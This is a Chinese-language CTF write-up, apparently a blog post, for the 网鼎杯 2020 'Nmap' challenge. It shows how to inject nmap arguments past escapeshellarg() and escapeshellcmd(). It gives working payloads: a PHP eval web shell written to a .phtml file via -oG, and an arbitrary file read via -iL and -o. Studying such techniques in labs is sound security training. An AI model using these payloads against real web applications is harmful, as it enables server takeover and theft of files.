[网鼎杯 2020 朱雀组]Nmap

原理

nmap写入文件连接木马

两个函数绕过
escapeshellarg()
escapeshellcmd()

解题过程

首先进入靶场看到nmap执行框

填入ip 127.0.0.1,可以正常得到nmap执行结果

那如何通过nmap拿到flag呢,参考nmap的参数
-iL 读取文件内容,以文件内容作为搜索目标
-o 输出到文件
-oN 标准保存
-oX XML保存
-oG Grep保存
-oA 保存到所有格式

解法一

我们可以使用-oG参数来写入后门获取flag
估计这题的后台就是用了一条简单的拼接语句,类似于:"nmap".'$cmd',之类的,闭合符号 至于为啥不是"nmap".$cmd 可能脑洞经验丰富吧...

可以构造payload为:'<?php @eval($_POST["a"]);?> -oG b.php'
nmap 'ip' 闭合后成为nmap ''<?php eval($_POST["q"]);?> -oG b.php''

但是提示hack,所以有过滤,猜想应该是过滤了php,可以换后缀名为phtml,至于<?php ?>则可以替换为短标签

最终payload为:' <?=@eval($_POST["a"]);?> -oG b.phtml '  或者 ' <? echo @eval($_POST["a"]);?> -oG b.phtml '

之后连接木马执行系统命令找到flag就行了http://46eba4f8-49d8-438b-bbda-cc15d6728b4c.node4.buuoj.cn:81/b.phtml
<?=$a?> <?=(表达式)?> 就相当于 <?php echo $a?> <?php echo (表达式)?>

解法二

iL来读取flag,然后输出到指定文件,访问该文件进行读取
读取时会提示搜索内容失败,然后会写出来内容是啥,从而实现任意文件读取。

最后就构造了payload:127.0.0.1' -iL /flag -o a
根据/a'来访问

看到这里,我觉得原作者对第一解的分析不太对,第二解是利用了两个函数来绕过,说明第一问也要经过两个函数,也会对单引号进行过滤
我猜测后端代码应该是"nmap".$cmd
然后传入payload ' <? echo @eval($_POST["a"]);?> -oG b.phtml '
经过escapeshellarg()函数会将payload变为 ''\'' <? echo @eval($_POST["a"]);?> -oG b.phtml '\'''
在经过escapeshellcmd()函数会将payload变为 ''\\'' <? echo @eval($_POST["a"]);?> -oG b.phtml '\\'''
后面的空格刚好能将\给隔开,
验证就是如果我输入payload:'<? echo @eval($_POST["a"]);?> -oG b.phtml '   只去掉前一个空格可以绕过,去掉后一个空格则无法绕过。因为去掉前一个空格,会将\<? echo @eval($_POST["a"]);?>写入文件,但是无伤大雅,代码仍可以利用。

参考文章:https://blog.csdn.net/qq_63701832/article/details/128793013

posted @ 2023-10-15 20:56  圆弧状态  阅读(309)  评论(0)    收藏  举报